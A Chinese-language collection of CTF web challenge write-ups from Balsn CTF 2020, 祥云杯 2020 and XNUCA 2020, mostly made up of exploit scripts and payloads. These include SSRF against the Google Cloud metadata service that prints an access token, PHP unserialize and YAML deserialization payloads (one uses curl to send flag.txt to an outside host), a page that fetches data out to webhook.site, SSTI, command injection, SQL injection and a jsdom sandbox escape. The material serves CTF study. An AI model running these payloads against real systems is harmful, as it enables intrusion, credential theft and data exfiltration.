13
14
15
16
17
18
19
20
21
22
23
import requests

def req(parent,path):
burp0_url = "http://35.194.175.80:8000/query?site=http://metadata.google.internal"+parent+path+"%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
return requests.get(burp0_url)


def getInfo(parent,path):
r = req(parent,path)
if r.status_code == 500:
return
print(parent+path)
print(r.text)
print("----------------------------------------------------------------------")
if not path.endswith("/"):
return
child = r.text.splitlines()
parent=parent+path
for i in child:

getInfo(parent,i)

getInfo(parent="",path="/")

得到以下数据(只显示对题目有用的数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
----------------------------------------------------------------------
/computeMetadata/v1/project/project-id
balsn-ctf-2020-tpc
------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.KpcB5QdRi_ofZUDT6YcnsZrXwex0ocEfddkf1cL9qgsBVUuJI6xm7X__zkSxCc4jbw35HGJ2ZSbVUQljIKqOWbe_-q33It_9ip0sO15lH8usKPuj1I-vg2BHQeyizyWloiDf2vlRbL0EiZNaiKa3_tGFFEbxt9JrmsfYxWoN3_VOn3cqTbjNyEdj3-Xr3oQUiD0ESz0H2NS4Lg","expires_in":3147,"token_type":"Bearer"}
----------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/scopes
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
----------------------------------------------------------------------
...

阅读文档来了解下载存储在服务器上的数据

1
2
3
4
5
6
7
8
9
10
11
12
#查询存储分区:
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://storage.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc"

#查询存储对象
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o"

#下载对象:
curl -X GET -o "/tmp/obj1" -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/download/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:1c2e7c9e95b20a8dde6674890b722779c5a797d9d5968a9fa3a0ef89cd90f9b4?generation=1605158579380048&alt=media"

将所有对象下载下来后cat * | grep -a flag
获得flag路径:/opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt

BALSN{What_permissions_does_the_service_account_need}

L5D

题目描述

「Taking L5D was a profound experience, one of the most important things in my life.」

Try this new Unserialize-Oriented Programming System a.k.a. L5D !

http://l5d.balsnctf.com:12345/index.php

PHP Version: 7.0.33

Author: kaibro

题目提供了源码,阅读后发现以下可能作为关键点的地方:

变量覆盖:

image6765

任意命令执行:

image6899

修改全局变量cmd

image7035

但是题目给反序列化的数据加上了一个限制:不能出现*(protect变量就需要*号)

实际测试一下发现,并不能用public,private的同名变量来代替protect变量,这是难点一

还有就是其他类的__wakeup方法会禁止我们通过L5D_Upload来任意变量覆盖,然后L5D_Upload又必须在其他的__destruct方法前执行,这是难点二

难点二我们可以通过最后一个调用L5D_Upload的__wakeup,第一个调用它的__destruct来绕过,因为__wakeup的调用顺序是从里到外,从前到后,__destruct的调用顺序是从外到内,从前到后,所以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}

}
class L5D_ResetCMD {

public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}

}
class L5D_Command{
}
new L5D_Upload();

接着就是难点一了,对*号的禁用导致我们不能直接反序列化一个protect属性的成员

但是我们可以用大写S来绕过:

可以利用大写S来绕过对protected,private等属性的字符检测如:

1
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}

这样new_cmd就是protect属性了

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}

}
class L5D_ResetCMD {

public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}

}
class L5D_Command{
}
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize(new L5D_Upload()));
echo urlencode ($a);

the woven web

看了Super⚔️Blue 的wp,只能说一句牛逼

其实原理很简单:让浏览器自动下载一个文件,然后file协议访问那个文件,那个文件就可以引用server.js,于是就有flag的值了

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask
app = Flask(__name__)

@app.route('/index.html')
def hello_world():
r = """
<html>
<head>
<script>
function require(a){
if(a=="express"){return ()=>{return {get:function(){},listen:function(){}}}
}
if(a=="redis"){
return {createClient:function(){}}
}
if(a=="fs"){
return {existsSync:function(){}};
}
}
</script>
<script src="../app/server.js">
</script>
<script>
fetch("https://webhook.site/X?a="+FLAG);
</script>
</head>
</html>
"""

return r,{"Content-Disposition":'attachment; filename="wtf22.html"'}

if(__name__=="__main__"):
app.run("0.0.0.0",4000)

Windows XP Media Player

还是看了Super⚔️Blue 的wp

应该静下心来做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time

host = "windows-xp-media-player.balsnctf.com"


def req(s, path):
return s.get("http://{}{}".format(host, path))


if __name__ == "__main__":
s1 = requests.Session()

# create a session
resp = req(s1, "/")

# use create playlist to generate the command `mkdir -p ./--output=/tmp/vakzz_in`
req(s1, "/?args=-p ./--output=/tmp/vakzz_in&op=create")

# also create a `-z` folder
req(s1, "/?args=./-z&op=create")

# use `--` so that the remaining args are not treated as options, will run `ls -- -z --output=/tmp/vakzz_in /flag/`
# since all of these folders exist ls will exit cleanly and add our args to the queue
req(s1, "/q/add?args=-- -z --output=/tmp/vakzz_in /flag/")

# remove the `--` from the queue
req(s1, "/q/skip")

# shuffle the queue which will run `shuf -e -z --output=/tmp/vakzz_in /flag/`
# this writes final argument as a null terminated string to the specified output file
req(s1, "/q/shuf")

# now /tmp/vakzz_in contains `/flag/\x00`

# rate limit
time.sleep(10)

# new session as need more playlists
s2 = requests.Session()
resp = req(s2, "/")

# create the folder `--files0-from=/tmp/vakzz_in` for option injection
req(s2, "/?args=-p ./--files0-from=/tmp/vakzz_in&op=create")

# create the folder `--exclude=flag?[1-9]*` for option injection
req(s2, "/?args=./--exclude=flag?[1-9]*&op=create")

# now `--files0-from=/tmp/vakzz_in` and `--exclude=flag?[1-9]*` are both in the names array and can be used in args

# use stat to run `du` with our injection options, causing it to look at folders from /tmp/vakzz_in and exclude
# anything that matches the supplied pattern: `du -sh --files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*`
resp = req(s2, "/?args=--files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*&op=stat")

# if the flag was excluded then this will return `8.0K /flag/` otherwise `16K /flag/`, letting us know if
# the flag starts with 0-9 or a-f.
print(resp.text.split('<div class="field-row"><label>')[2].split(" ")[0])

总结

反序列化在禁止\x00和*时,我们可以利用大写S来绕过对protected,private等属性的字符检测如:

1
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}

2020祥云杯web题解

祥云杯web题解

Command

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|\*|\{)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
}

测试发现过滤了:',$,&,*,;,>,],{, ,
利用%09来绕过对空格的过滤

1
http://eci-2ze5a6nc0glncs99tzta.cloudeci1.ichunqiu.com/?url=-h|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`

flaskbot

测试一波发现输入点都没有ssti,并且开着报错

我们利用报错来拿源码

最关键的源码render_template_string(guessNum(num,name)) 是直接访问不存在界面得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))


@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')

if user==None:
return redirect(url_for("Hello")
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"

else:
return render_template_string(guessNum(num,name))#直接提醒我们这里存在ssti注入

@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888

看一下回显很容易得知bot利用二分法来猜数据,如果一定次数内bot没猜出来就是我们赢,正常的数据基本是不行的。

我们看下他得到数字的过程:

1
2
3
4
5
6
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"

字符串转数值且小于0大于1000000000.0

阅读python文档https://docs.python.org/3.2/library/stdtypes.html#numeric-types-int-float-complex,我们看到一个这样的浮点数:` float also accepts the strings “nan” and “inf” with an optional prefix “+” or “-” for Not a Number (NaN) and positive or negative infinity. `

且nan<0,nan>1000000000.0都为false,这样他的二分法永远猜不到了

然后修改name进行ssti

1
{{"".__class__.__mro__[2].__subclasses__()[258].__init__.__getattribute__("__globals__")["\\x6f\\x73"].__getattribute__("\\x73ystem")("whoami")}}

easygogogo

题目有三个接口,登入,查看上传文件,上传文件

测试上传文件接口发现,可以直接路径穿越

测试查看上传文件接口发现,可以任意文件读取,但是你得有cookie(通过文件上传生成)

/proc/self/cmdline

1
HOSTNAME=engine-1 HOME=/root OLDPWD=/root TERM=xterm PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOPATH=/go PWD=/go GOLANG_VERSION=1.15.5

刚开始去读/etc/passwd发现,啥都没有,但是读/proc/self/cmdline就有东西,然后猜测了下这是root权限启动的

由于重启docker环境并不是让cookie的salt发生改变,所以,如果用之前生成好的cookie(如果是root权限/etc/passwd被覆盖)去获得新docker的/etc/passwd有内容的话就说明是root权限,没有的话就是其他原因

。。。。。

真的是root权限!!!!!

直接读取/root/start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flagfile=/flag
if [ ${ICQ_FLAG} ];then
if [ "$flagfile"x = "/flagx" ];then
echo ${ICQ_FLAG} > ${flagfile}
chmod 755 ${flagfile}
else
#sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
#mysql -uroot -proot nXXXX < $flagfile
fi
echo [+] sed flag OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi

service cron start&&whoami&&cd /go&&go run src/main.go src/functions.go src/model.go src/routes.go

再去读取/flag,顺便读了下源码:

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
"log"
"net/http"
)
func main() {
http.Handle("/uploads/", http.StripPrefix("/uploads/", http.FileServer(http.Dir("uploads/"))))
http.Handle("/statics/", http.StripPrefix("/statics/", http.FileServer(http.Dir("statics/"))))
http.HandleFunc("/index", index)
http.HandleFunc("/", index)
http.HandleFunc("/login", login)
http.HandleFunc("/upload", upload)
http.HandleFunc("/show", show)
http.HandleFunc("/home", home)
err := http.ListenAndServe(":80", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}

src/functions.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main

import (
"bytes"
"crypto/md5"
"encoding/base64"
"encoding/gob"
"encoding/hex"
"net/http"
"os"
"time"
)

func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fileExist(filename string) bool {
_, err := os.Stat(filename)
return err == nil || os.IsExist(err)
}
func Md5(s string) string {
h := md5.New()
h.Write([]byte(s))
return hex.EncodeToString(h.Sum(nil))
}
func getCookie(r *http.Request) interface{}{
cookie, err := r.Cookie("cookie")
if err==nil{
return cookie.Value
}else{
return nil
}
}
func setCookie(w http.ResponseWriter,r *http.Request,value string){
expiration := time.Now()
expiration = expiration.AddDate(1, 0, 0)
// fmt.Println(value)
cookie := http.Cookie{Name: "cookie", Value: value, Expires: expiration}
http.SetCookie(w, &cookie)
}
func serialize(instance Users) []byte{
// fmt.Println(instance.Username)
var result bytes.Buffer
encoder := gob.NewEncoder(&result)
encoder.Encode(instance)
userBytes := result.Bytes()
// fmt.Printf("%s",userBytes)
return userBytes
}
func unseralize(data []byte) Users{
var account Users
decoder := gob.NewDecoder(bytes.NewReader(data))
decoder.Decode(&account)
return account
}

func cookieEncode(data []byte) string{
// fmt.Printf("%s",data)
return base64.StdEncoding.EncodeToString(data)
}
func cookieDecode(data string) []byte{
bytesData, _ := base64.StdEncoding.DecodeString(data)
return bytesData
}

src/model.go

1
2
3
4
5
6
7
8
9
package main

type Users struct{
Username string
Password string
Filename string
Sign string
}
var salt="123123adsdasr123sdfkaadls"

src/routes.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package main

import (
"encoding/base64"
"fmt"
"html/template"
"io"
"net/http"
"os"
"strings"
)
//Route:upload
func upload(w http.ResponseWriter, r *http.Request) {
r.Body = http.MaxBytesReader(w, r.Body, 32<<16)
ip := strings.Split(r.RemoteAddr, ":")[0]
if getCookie(r)!=nil{
UserData:=unseralize(cookieDecode(getCookie(r).(string)))
if r.Method == "GET" {
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w,nil)
} else {
path:="./uploads/"+Md5(ip)
tmp,_:=PathExists(path)
if !tmp{
err:= os.Mkdir(path, os.ModePerm)
if err!=nil{
fmt.Printf("failed")
}
}
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
f, err := os.OpenFile("./uploads/"+Md5(ip)+"/"+handler.Filename, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0777)
if err != nil {
fmt.Fprint(w,err)
return
}
defer f.Close()
io.Copy(f, file)
UserData.Filename="./uploads/"+Md5(ip)+"/"+handler.Filename
UserData.Sign=Md5(UserData.Filename+salt)
setCookie(w,r,cookieEncode((serialize(UserData))))
fmt.Fprint(w,UserData)
fmt.Fprint(w,"上传成功:"+handler.Filename)
return
}
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

//Route:/index || /
func index(w http.ResponseWriter, r *http.Request) {
t, _ := template.ParseFiles("index.gtpl")
t.Execute(w,nil)
return
}

//Route:/login
func login(w http.ResponseWriter, r *http.Request) {
if r.Method=="POST"{
r.ParseForm()
if r.Form["username"]==nil && r.Form["password"]==nil{
fmt.Fprint(w,"username and password is required")
return
}
User:=Users{
Username: r.Form["username"][0],
Password: r.Form["password"][0],
}
setCookie(w,r,cookieEncode(serialize(User)))
fmt.Fprint(w,"<script>window.location.href='/home'</script>")
}else{
fmt.Fprint(w,"Method not allowed")
return
}
}
func home(w http.ResponseWriter,r *http.Request){
if getCookie(r)!=nil {
t, _ := template.ParseFiles("home.gtpl")
t.Execute(w, nil)
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

//Route:/show
func show(w http.ResponseWriter, r *http.Request) {
if getCookie(r)!=nil {
UserData:=unseralize(cookieDecode(getCookie(r).(string)))
file:=UserData.Filename
sign:=UserData.Sign
ff, err := os.Open(file)
defer ff.Close()
if err!=nil{
fmt.Println(err)
t, _ := template.ParseFiles("show.gtpl")
t.Execute(w, template.HTML("?????"))
return
}
fmt.Println(sign)
if sign!=Md5(file+salt){
fmt.Fprint(w,"签名失败")
return
}
sourcebuffer := make([]byte, 500000)
n, _ := ff.Read(sourcebuffer)
filedata := base64.StdEncoding.EncodeToString(sourcebuffer[:n])
fmt.Println(filedata)
t, _ := template.ParseFiles("show.gtpl")
t.Execute(w, template.HTML("<img src='data:image/jpeg;base64,"+filedata+"'>"))
}else{
fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
return
}
}

这样应该是非预期把?

doyouknowssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){

echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}

if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

return false;
}else{
return $url;
}
}


function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}

highlight_file(__FILE__);
curl($_GET['url']);

emmm,这题是原题。https://tyaoo.github.io/2020/08/31/2020-GACTF-web/ ,我是后来才知道的。。。。

绕过端口限制的方法一种是:http://[email protected]:6379%[email protected]/

还有一个是:http:/ctf.ccreater.top:5000/

var_dump(parse_url)

1
2
3
4
5
6
array(2) {
'scheme' =>
string(4) "http"
'path' =>
string(23) "/ctf.ccreater.top:5000/"
}

然后curl去访问是正常的

接下来按着那个wp走发现flask,继续ssrf,发现redis,原本是wp里面的redis主从复制RCE直接打这题的,但是试了好久都没成功,明明有向我发送数据

redis ssrf还有一种RCE方法是写文件,这一题就是这么干的,因为那个wp我一直没往这方面想

然后去看了写redis发现它的版本是2.x主从复制RCE的那个exp是针对3.x和4.x :(

easyzzz

百度一波网上的cve解出这题

简单说下过程

/plugins/webuploader/js/webconfig.php

拿到后台地址 admin539/

https://xz.aliyun.com/t/7414 ,利用前台sql注入修改管理员密码

搭个转发的方便测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from flask import Flask,request
app = Flask(__name__)


def access(exp):
burp0_url = "http://eci-2ze9cofh8j38ebxctduq.cloudeci1.ichunqiu.com:80/plugins/sms/sms_list.php?act=del"
burp0_cookies = {"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1604567758,1604568322,1604568358,1605921830", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1606016268", "PHPSESSID": "3fe85864bb4ad1dc9f25e5271281baf9", "__jsluid_h": "85077cc270ca34654c02f2479fcb9390", "zzz254_adminpass": "0"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"id[={exp} ;-- ]".format(exp=exp): "1"}
return requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

@app.route('/')
def hello_world():
payload = request.args.get("exp","")
r=access(payload)
print(payload)
return r.text


app.run()

直接访问:

http://127.0.0.1:5000/?exp=1;replace INTO zzz_user(uid,u_gid, u_lid, u_onoff, u_order, sex, username, password, question, answer, regtime, truename, face, province, city, district, address, post, tel, mobile, email, qq, u_desc, adminrand, lastlogintime, lastloginip, logincount, sysinfo, points, balance) VALUES (1, 1, 1, 1, 0, '%E7%94%B7', 'admin', '1ccbbb718e0e9c3a', '8TBRJ2H5NXW57EVF', 'S8DDQC9YV494G84Q', '', '%E5%88%9B%E5%A7%8B%E4%BA%BA', 'face01.png', '', '', '', '', '', '', '', '', '', '', '6a79122eab1e8abd10bcabd91ebbc36c', '2020/11/22 17:25:13', '127.0.0.1', 6, '', 0, 0);--

修改admin密码为041676

没有写权限,但是我们只要读到flag就好了,利用这个cms的模板渲染机制,修改模板为我们想读的文件/flag,来拿到flag

profile system

一看就是一个flask(它的cookie),文件上传可以目录穿越,猜测后端访问uploads路由是这样的:/uploads/<path:path>
直接读取/uploads/../app.py

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, render_template, request, flash, redirect, send_file,session,render_template_string
import os
import re
from hashlib import md5
import yaml


app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()

@app.route("/")
def index():
session['priviledge'] = 'guest'
return "home"

@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return os.path.join(dirname, filename)


@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))


@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except :
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template_string("{{user}}",user=info['user'])
#.,^,_,`,~


if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)

有了secret我们就可以任意伪造session了

注意到:info = yaml.load(data)

直接使用这个会有个提醒

image16652

百度一下为啥不安全,yaml反序列化注入get

直接抄来一个exp

1
2
3
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"

看下进入info = yaml.load(data) 的前提

re.fullmatch(b"^[ -\-/-\]a-}\n\r]*$",data, flags=re.MULTILINE)

利用regex101读懂这个的意思,其实就是禁止出现

1
.^_`~

这几个字符

这个payload完美符合所有条件

一定要注意payload不能出现\r

总结

python的float类型有两个特殊的值:nan(not a number),inf(infinity,无穷)

php parse_url 小trick

var_dump(parse_url("http:/ctf.ccreater.top:5000/"))

1
2
3
4
5
6
array(2) {
'scheme' =>
string(4) "http"
'path' =>
string(23) "/ctf.ccreater.top:5000/"
}

http://[email protected]:6379%[email protected]/:https://bugs.php.net/bug.php?id=77991

1
2
3
4
5
6
7
8
9
10
11
12
var_dump(parse_url("http://[email protected]:6379%[email protected]"));
php shell code:1:
array(4) {
'scheme' =>
string(4) "http"
'host' =>
string(13) "www.baidu.com"
'user' =>
string(13) "[email protected]"
'pass' =>
string(7) "6379%20"
}

python 中的yaml.load也存在反序列化问题

XNUCA_2020_oooooooldjs题解

XNUCA_2020_oooooooldjs题解.md

文章首发于安全客

题目描述

npm audit may miss something, be careful of the version of lodash. There is prototype pollution in express-validator, limited but powerful。

npm audit发现lodash有原型链污染漏洞

1
2
3
4
5
6
7
8
9
10
11
# Run  npm update lodash --depth 2  to resolve 1 vulnerability

Low Prototype Pollution

Package lodash

Dependency of express-validator

Path express-validator > lodash

More info https://npmjs.com/advisories/1523

https://snyk.io/test/npm/express-validator/2.21.0中查看lodash中出现原型链污染的地方,依次下断点

传入json数据:{"233":123}发现:

image1151

调用了存在原型链污染的set方法,且[233]不为object的键值,在这里可以触发原型链污染

一波测试后得到原型链污染的payload:{".\"].__proto__[\"crossDomain":{"1":"2"}},但是不能控制原型链污染的值

审计题目代码发现,非常有意思的两个地方

  1. 显眼的dangerous
    image1432

  2. 这里自己实现了数据库的CURD四种方法

学习了一波后发现第一点可以触发RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const { JSDOM } = require("jsdom");

new JSDOM(`
<body>
<script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("return process")();
const require = process.mainModule.require;

// Game over!
const fs = require('fs');
console.log(fs.readdirSync('.'));
</script>
</body>
`, {
runScripts: "dangerously"
});

在util.js中定义了唯一会用到jsdom的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const {
JSDOM
} = require("jsdom")
const {
window
} = new JSDOM(``, {
url: originUrl,
runScripts: "dangerously"
})
// server side `$` XD
const $ = require('jquery')(window)

const requests = async (url, method) => {
let result = ""
try {
result = await $.ajax({
url: url,
type: method,
})

console.log(result)
} catch (err) {
console.log(err)
result = {
data: ""
}
}

return result.data
}

